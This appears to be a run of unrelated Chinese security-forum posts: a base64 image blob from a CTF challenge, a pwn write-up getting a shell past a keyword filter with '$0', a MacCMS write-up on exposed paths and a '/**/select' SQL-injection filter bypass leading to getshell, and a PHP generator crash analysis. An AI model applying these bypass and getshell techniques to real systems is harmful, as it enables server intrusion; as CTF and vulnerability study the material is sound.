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
以上形式,其中我把等号后面的垃圾数据去除了(看着就没用),然后一看就是base64编码,搜索base64转图片,得到二维码,扫一扫得到flag
1、 sandbox
检查文件
题目为64位elf文件,开启NX和Canary保护。
将文件导入ida中,发现box()函数
box() 函数中有一个read() 函数,可以读取0x20 个字节数据到buf ,这里分析出需要用户输入数据。
if语句中strchr() 函数对用户的输入进行了检查,不允许字符s、h、cat、flag、- 输入。
box() 函数最后执行system() 函数,需要绕过sh、cat flag 等命令获取终端执行权限。
利用system("$0") 获取终端执行权限;输入$0 传给程序拿到权限;(system($0) 是在一个编程语言中调用系统命令的方式)
1 个帖子 - 1 位参与者
针对手机用户的双向互通
苹果cms后台特定情况getshell
苹果cms 更新日期2023年9月11日
未授权访问暴露网站根目录
/application/data/update/database.php
/extend/qiniu/src/Qiniu/functions.php
/vendor/karsonzhang/fastadmin-addons/src/common.php
/vendor/topthink/think-captcha/src/helper.php
/vendor/topthink/think-image/tests/autoload.php
/vendor/topthink/think-image/tests/CropTest.php
/vendor/topthink/think-image/tests/FlipTest.php
/vendor/topthink/think-image/tests/InfoTest.php
/vendor/topthink/think-image/tests/RotateTest.php
/vendor/topthink/think-image/tests/TestCase.php
/vendor/topthink/think-image/tests/TextTest.php
/vendor/topthink/think-image/tests/ThumbTest.php
/vendor/topthink/think-image/tests/WaterTest.php
/vendor/topthink/think-queue/src/common.php
特定条件获取服务器权限
此处功能有被利用的风险,获取服务器权限服务器。配合上一个条件在特定情况下可以达到
此功能似乎没起查询作用,查看源码
此处过滤了 select 所以正常语句查询被置空,导致代码显示成功,实际并没有执行,暂时不理解开发如何思考的逻辑开发这个功能
但是代码不够完善,可以利用mysql特性
注释/**/select 为开头绕过该匹配规则 ,进而执行Db::execute()
Sql注入如下
getShell如下
以上getShell是满足以下条件的假设
- 后台登录密码比较弱
- 数据库账号权限较高
免责申明
本文档仅供参考学习交流,请勿用于非法途径!否则后果自负。
1 个帖子 - 1 位参与者
拥抱PHP之在crash中遇见generator
原文: 拥抱PHP之在crash中遇见generator | maplgebra
0. crash样本 缘起 <?php function p1(){ yield 1; yield 2; yield 3; } $p1 = p1(); function gen(){ global $p1; yield from $p1; } $gen = gen(); $gen->rewind(); function child(){ global $gen; yield from $gen; } $child = child(); $child->rewind(); function new1() { global $p1; yield from $p1; } $new = new1(); $new->rewind(); $child->next(); $child->next(); $child->next(); echo 1;在工作时, 偶然之下构造出了上面一个例子, 这个例子会导致PHP7.4和7.3 (全小版本, 后同) 崩掉 (null pointer dereference), 而PHP7.0, PHP7.1, PHP7.2没有崩掉是因为写了一行垃圾代码 (指的是完全没有任何作用且还会带来负面影响的代码) 阴差阳错地导致这个问题被带过了, 从PHP7.3开始这行垃圾代码被拿掉了, 问题就显示出来了. 最后在PHP8中彻底简化了delegated generator tree的构造, 这个问题也自然没有了. 从PHP历史来看, 这个问题一直都没有被发现, 我觉得这和generator内部实现的复杂度是有紧密关系的.
在这里,我必须要吐槽一下相关PHP开发者, delegated generator tree这个结构在PHP7中无比复杂, 文档和相关资料也少的可怜 (基本没有), 导致相关代码读起来会异常难受, 我花费了巨额地时间才彻底理顺逻辑. 借此, 有了这篇文章, 希望将PHP generator内部实现中最复杂的那部分内容, 以尽可能无痛地方式传递给读者或者后来者. 同时这篇文章中也有一些我的小心思, 全文只有一处完整地复制粘贴了PHP内部代码的地方 (一个结构定义), 其余地方我都使用伪代码来描述过程, 因为我不希望此篇文章成为一个类似"读代码的文章"的典范, 而希望是在婉婉道来一个有趣的故事. 另外在读这篇文章的时候, 你不需要对PHP内部有任何的了解, 我保证.
1. Delegated generator tree (委托构造器树)这一节我们将介绍什么是delegated generator tree.
1.1. Generator 概念速成首先简要介绍一下 generator (构造器)的概念. 这个feature在很多编程语言 (python 和 ECMAScript等) 中都有存在, 它的概念也并不复杂. 你可以将它理解为"一个特殊的iterator (迭代器), 但是长成了函数的模样". 它是一个iterator意味着它天然地支持一些操作, 比如将iterator指向第一个元素的 rewind操作, 获取iterator当前指向元素的current操作, 将iterator指向下一个元素的 move_forward操作等等, 不同语言上的实现可能有些许不同. 而它长成了函数的样子意味着你可以像函数调用一样去调用它, 但是它的并不会因此而直接执行, 你需要通过前面提到的iterator的相关操作去拨动它. 例如在PHP中一个最简单generator例子为
function gen () { yield 1; return 2; } $gen = gen(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->getReturn(); // output: 2其中有一个关键字yield, 它的出现就决定了它所在的函数是一个generator. 当你第一次调用这个函数的时候, 你就会得到一个generator实例, 如这里的第5行. 之后你就可以将其视为一个iterator来操作, 如这里的第6-8行. 当你使用rewind()操作时, iterator就会指向它的第一个元素, 对generator而言, 这个操作会告诉它, 开始执行对应的函数, 并且在执行完第一个yield之后停下来, 并将这个yield产生的值视为一个元素. 如这里这个第二行yield执行会产生一个常量1. 值得注意是, 当在generator实例已经开始运行之后, 再使用rewind()操作, 将没有任何作用, 因为PHP不允许rewind一个正在运行的generator实例. 当你使用next()操作时, iterator就会指向它的下一个元素, 对于generatora而言, 这个操作会告诉它, 继续从当前位置执行, 直到下一个yield执行之后再停下来, 或者遇到return直接完成执行. 如这里并没有第二个yield, 使得当前generator实例在执行return之后就关闭了. generator 除了支持必要的iterator操作, 也支持一些其他特殊的操作, 如这里的getReturn()操作, 它可以获取对应generator实例的返回值. 甚至你也可以通过send()操作给generator实例内部传递值. 相关的操作均可以在PHP 官方文档 找到, 这里就不累述了.
1.2. Delegated generator tree的由来从上面对generator介绍看来, 它并不复杂, 但是引入yield from之后, generator的世界就开始变的复杂了. PHP官方文档对yield from的介绍如下:
Generator delegation allows you to yield values from another generator, Traversable object, or array by using the yield from keyword.
所以yield from对应的机制应该称之为"Generator delegation" (构造器委托), 可以看到它支持3种delegated values, 我们的关注重点delegated value为generator的情况, 后面的两种我们在这里简单介绍一下. 例如
function gen () { yield from [1,2,3]; } $gen = gen(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 3当执行yield from之后, 此时iterator会委托给它后面的对象, 因此当我们拨动next方法的时候, 实际在拨动另外一个iterator, 当这个新的iterator被使用完毕之后, 就会返回调用yield from的地方继续执行.
可以想象一下yield from后面的表达式是一个generator实例的时候会发生什么? 为方便描述, 我们将调用yield from的generator称为outer generator, 而被调用的那个generator称为inner generator. 例如
function gen1 () { yield 1; yield 2; } function gen2 () { yield from gen1(); yield 3; } $gen = gen2(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 3可以看到在使用rewind()操作之后, 指向的第一个元素是由gen1产生的, 这是因为在gen2的一开始, 我们通过yield from 引入了gen1作为delegated value, 在这些值被使用完之前, 原generator不会向下执行. 难道你不觉得这里非常奇妙吗 ? 我们拨动outer generator向前, 却是inner generator在向前, 并且我们对outer generator取值也总是能取到正确的值.
PHP内部究竟是如何实现它的呢? 不着急, 我们再来看一些更加复杂的例子, 让你对它有一些更深层次的思考, 以便于对后文有更好的理解. 假如我们在gen1也增加一个yield from呢?
function gen0 () { yield 4; } function gen1 () { yield 1; yield 2; yield from gen0(); } function gen2 () { yield from gen1(); yield 3; } $gen = gen2(); $gen->rewind(); echo $gen->current(); // output: 1 $gen->next(); echo $gen->current(); // output: 2 $gen->next(); echo $gen->current(); // output: 4 $gen->next(); echo $gen->current(); // output: 3对照函数调用时的call chain, 这里每次调用yield from的时候也会构造一条类似的chain, 我们可以将其称之为delegated generator chain, 比如在第12行这里就会形成gen2 -> gen1, 而在第8行这里就会形成gen2 -> gen1 -> gen0, 其中一个箭头就表示一次yield from执行, 而箭头方向对应outermost到innermost的方向.
这里会给我们一种感觉, 当我们拨动一条delegated generator chain上的某个generator时, 总是会先拨动这条chain上innermost generator. 我们把简单地修改一下上面的例子, 让我们的感觉更加明显:
function gen0 () { yield 4; yield 5; yield 6; } function gen1 () { yield 1; yield 2; yield from gen0(); } function gen2 () { global $gen1; yield from $gen1; yield 3; } $gen1 = gen1(); $gen2 = gen2(); $gen2->rewind(); echo $gen2->current(); // output: 1 $gen2->next(); echo $gen2->current(); // output: 2 $gen2->next(); echo $gen2->current(); // output: 4 $gen1->next(); echo $gen1->current(); // output: 5 $gen2->next(); echo $gen2->current(); // output: 6这里我们单独拿到了gen1的引用, 首先我们三次连续拨动gen2, 在最后一次拨动gen2时, 在gen1中yield from下形成了delegated generator chain为gen2 -> gen1 -> gen0 . 此时gen0作为innermost generator, 所以我们拿到了gen0中第一个yield产生的值. 而后我们换gen1来拨动, gen1也是这条chain上的一个delegated generator, 因此我们拿到了gen0中第二个yield产生的值. 最后我们再切回gen2来拨动, 依然也是预期的值.
所以这里我们给出第一个重要的原则:
Principle1. 假设某个generator处于由yield from生成的delegated generator chain上, 当我们使用next()拨动它时, 会首先拨动它所在chain的innermost generator. 同理使用current()获取当前元素时, 也会去获取该innermost generator指向的元素.
为了节省篇幅, 后面讲使用chain来指代delegated generator chian. 聪明的你, 可能要问一个问题了, 有没有可能一个generator位于两条不同的chain中呢 ? 非常好的问题, 答案是肯定存在, 比如
function gen0 () { yield 0; yield 1; } function gen1 () { global $gen0; yield from $gen0; } function gen2 () { global $gen0; yield from $gen0; } $gen0 = gen0(); $gen1 = gen1(); $gen2 = gen2(); $gen1->rewind(); $gen2->rewind(); echo $gen1->current(); // output: 0 echo $gen2->current(); // output: 0在拨动gen1和gen2之后, 就生成了两条具有相同innermost generator的chains, 如下: (我们去掉了chain连线上的箭头, 因为画起来会很乱, 我们约定inner genearator总是在outer generator的上面)
gen0 / \ gen1 gen2此时gen0位于两条不同的chains中. 咋一看, 这里的结构看起来就是一棵tree, 而一条delegated generator chain实际就是一条root-to-leaf path. 我们需要仔细验证一下, 这里是不是真的符合tree结构, 需要考虑所有delegrated generator chain可能长成的样子出发. 我们默认大家都熟悉基本数据结构Tree中的一些关键词, 比如root结点 (根结点), parent结点 (父节点), child结点 (孩子结点), ancestor结点 (祖先结点), descendant结点 (后继结点).
#1 任意时刻一generator实例只能执行一个yield from.
因此不可能出现以下情况, 这就意味确实可能只存在一个root结点.
gen1 gen2 \ / gen0#2 PHP不允许环的出现
以下例子会抛出一个异常
function gen0 () { global $gen1; yield 1; yield from $gen1; } function gen1() { yield from gen0(); } $gen1 = gen1(); $gen1->rewind(); echo $gen1->current(); $gen1->next();因此我们不用考虑环出现的情况.
综合#1和#2, 我们完全可以用tree结构代替delegated generator chains. 并且我们可以确保 "任一generator在某一时刻只能处于唯一的一颗delegated generator tree上", 换句话说每个generator都有唯一的root结点, 这是因为#1可以保证tree不会分叉. 由此delegated generator tree正式进入我们的视野, 而delegated generator chain只不过是一条root-to-leaf path. 之后我可能会频繁地给出各种形式的delegrated generated trees, 但是为了节省篇幅, 我不会同时给出对应它们的PHP代码了, 默认它们都是可以以某种方式被构造出来的. 在继续往下之前, 我们首先明确(或者强调)几个概念:
- 对于一特定的yield from, 它对应的inner generator和outer generator对应delegated generator tree上一对parent-child结点.
- 对于一特定的delegated generator tree, 它的每一条root-to-leaf path都对应着一条delegated generator chain, 这些chains拥有相同的innermost genearator, 即为该delegated generator tree的root结点.
- 对于一特定的generator, 只能处于唯一确定的delegated generator tree上.
那么这里我们可以给出第二个重要的principle:
Principle2. 给定一个generator, 当我们使用next()拨动它时, 会首先拨动它所在delegated generator tree的root结点. 同理使用current()获取当前元素时, 也会去获取该root结点指向的元素.
注意我们使用 "结点" 指特定的generator. 我们可以将内部没有yield from语句, 且也不是其他generator的delegated generator的generator视为一个tree of single node, 即只有一个结点的tree, 其root结点就是它自己. 为了进一步节省篇幅, 我将直接使用tree来指代delegated generator tree.
PHP内部使用如下结构连接tree上的结点:
struct _zend_generator_node { zend_generator *parent; /* NULL for root */ uint32_t children; union { HashTable *ht; /* if multiple children */ struct { /* if one child */ zend_generator *leaf; zend_generator *child; } single; } child; union { zend_generator *leaf; /* if > 0 children */ zend_generator *root; /* if 0 children */ } ptr; };后文我将使用node来指代这个结构, 其中有4个字段:
- node.parent用来存储parent结点.
- node.single用来存储child结点的个数.
- node.child用来存储child结点.
- node.ptr用来存储一些信息.
此时你需要对这个结构有一些大致的了解即可. 这是本文唯一一处直接使用PHP内部代码的地方, 因为我们需要用它来描述delegated generator tree的设计. 注意当我们提到结点的时候, 依然指得是某一个特定的generator, 而不是某个node结构. 对于node结构, 我们会使用类似gen.node来指代generator gen中的node结构.
1.3 维护 delegated generator tree 概览首先要明确我们引入delegated generator tree的核心目的是"为了更好的维护 delegated generator chains", 而delegated generator chain是PHP准确处理任何一个generator的基础. 这里面存在两个难点问题:
- 不同层次上的generator如何快速地找到对应的currently executing geneartor? 简而言之如何让delegated generator tree上的各个结点能够快速地找到root结点.
- 不同层次上的generator对应的currently executing generator完成执行时, 如何切换到下一个generator继续执行 ?
对于第一个问题, 我们可以有非常直接的方法, 即从指定的结点开始往上遍历node.parent直到root结点. 但是你如果考虑一个非常高的tree和它的一个leaf结点, 每次地拨动这个leaf结点都需要查找一次, 如果这个过程非常频繁, 那么代价并不小. 所以我们是否可以考虑引入类似cache的东西 ? 比如在第一次查找之后就保存这个root结点, 这个方法显然是奏效的, 但是你需要额外维护这个cache. 如果这个root结点已经完成执行了, 你可能需要考虑更新所有引用它的地方, 以免二次误用. 进一步思考, 这个cache可能有多种形式:
- multiple cache: 允许多个结点保存同一个root结点.
那么必须在root结点处维护一张表, 存储所有引用它的地方, 保证在它被改变之后, 能够及时地更新到引用它的结点.
- single cache: 一个root结点只允许一个结点引用.
那么我们只需要在root结点上引用这个结点即可.
为什么我们提到这两种cache形式呢 ? 考虑下面的tree
